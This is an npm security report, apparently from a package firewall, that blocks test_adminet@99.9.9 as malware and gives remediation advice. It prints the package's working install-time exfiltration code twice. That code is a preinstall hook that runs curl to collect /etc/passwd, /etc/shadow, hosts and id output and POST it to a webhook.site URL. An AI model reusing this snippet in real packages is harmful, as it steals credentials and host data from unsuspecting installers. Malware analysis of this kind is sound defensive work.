---
canonical: "https://firewall.lpm.dev/npm/test_adminet"
markdown: "https://firewall.lpm.dev/npm/test_adminet/report.md"
package: "test_adminet"
report_status: "published"
title: "test_adminet@99.9.9 npm security report"
verdict: "malicious"
version: "99.9.9"
---

# test\_adminet@99.9.9 npm security report

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## Verdict summary
**Blocked & quarantined** — Exposes host identity, account metadata, and potentially password-hash data to an external endpoint.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 99.9.9
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Direct source inspection confirms unconsented install-time host-data collection and external exfiltration. This is concrete malicious behavior, not a benign package capability.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-07-13T21:44:14.512Z
- **Finished:** 2026-07-13T21:44:41.861Z
- **Download time:** 260 ms
- **Static scan time:** 4 ms
- **AI review time:** 27084 ms
- **Total time:** 27349 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Installation triggers \`index.js\` before package use. It executes a shell command that collects local account and system data, then exfiltrates it to a third-party webhook.

- **Trigger:** npm installation via the \`preinstall\` lifecycle hook

- **Impact:** Exposes host identity, account metadata, and potentially password-hash data to an external endpoint.

- **Evidence paths:** package.json, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-07-13T21:44:41.861Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** install-time shell collection and HTTP POST exfiltration

- **Attack narrative:** On npm installation, the \`preinstall\` hook executes \`index.js\`. That file uses \`child\_process.exec\` to run \`curl\`, gathering \`/etc/passwd\`, \`/etc/hosts\`, \`id\`, and \`/etc/shadow\` when readable. It base64-encodes the data and sends it to a hard-coded \`webhook.site\` URL, with username and hostname embedded in the request path.

- **Rationale:** Direct source inspection confirms unconsented install-time host-data collection and external exfiltration. This is concrete malicious behavior, not a benign package capability.

- **Files touched:** package.json, index.js

- **Network endpoints:** https://webhook.site/d5968c3d-d0d7-46c4-9305-a726b24fce9c/test\_adminest/$(whoami)/$(hostname)/

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** \`package.json\` runs \`node index.js\` in \`preinstall\`., \`index.js\` executes a shell command through \`child\_process.exec\`., The command collects \`/etc/passwd\`, \`/etc/hosts\`, \`id\`, and readable \`/etc/shadow\`., Collected output is base64-encoded and POSTed to \`webhook.site\`., The external request includes the local username and hostname in its URL.

## Affected versions and remediation

This report applies to test\_adminet@99.9.9.

- Avoid installing test\_adminet@99.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/test_adminet@99.9.9/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = node index.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/test_adminet@99.9.9/index.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: const { exec } = require("child_process");
L2: const command = `
```

### 4. Critical: Command Output Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/test_adminet@99.9.9/index.js>)

Source executes local commands and sends command output to an external endpoint.

Public source snippet (untrusted):

```javascript
L1: const { exec } = require("child_process");
L2: const command = `
L3: curl -X POST "https://webhook.site/d5968c3d-d0d7-46c4-9305-a726b24fce9c/test_adminest/$(whoami)/$(hostname)/" \
L4: -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
L5: -s -o /dev/null
L6: `;
L7: exec(command, (error, stdout, stderr) => {
L8: if (error) {
```

### 5. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/test_adminet@99.9.9/index.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.preinstall -> index.js
L1: const { exec } = require("child_process");
L2: const command = `
L3: curl -X POST "https://webhook.site/d5968c3d-d0d7-46c4-9305-a726b24fce9c/test_adminest/$(whoami)/$(hostname)/" \
L4: -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
L5: -s -o /dev/null
L6: `;
L7: exec(command, (error, stdout, stderr) => {
L8: if (error) {
```

### 6. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 7. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 8. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 9. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/test_adminet@99.9.9/index.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = e2111a9fe771a61a
signatureType = suspicious_hashes
sourceLabel = Datadog
matchedPackage = @tezign/html-webpack-plugin@1.0.3
matchedPath = index.js
matchedIdentity = npm:[redacted]:1.0.3
similarity = 1.000
shingleOverlap = 1
summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@tezign@html-webpack-plugin/1.0.3/2025-11-19-@tezign_html-webpack-plugin-v1.0.3.zip
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** test\_adminet
- **Ecosystem:** npm
- **Version:** 99.9.9
- **License:** ISC
- **Version published:** 2026-07-13T21:42:32.175Z
- **Package first seen:** 2026-07-13T21:44:41.861Z
- **Package last seen:** 2026-07-13T21:44:41.861Z
- **Known versions:** 1
- **Latest version:** 99.9.9
- **Appeal under review:** No
- **Artifact files:** 2
- **Artifact unpacked size:** 754 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/test_adminet>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-10509>)
- [PACKAGE](<https://www.npmjs.com/package/test_adminet/v/99.9.9>)
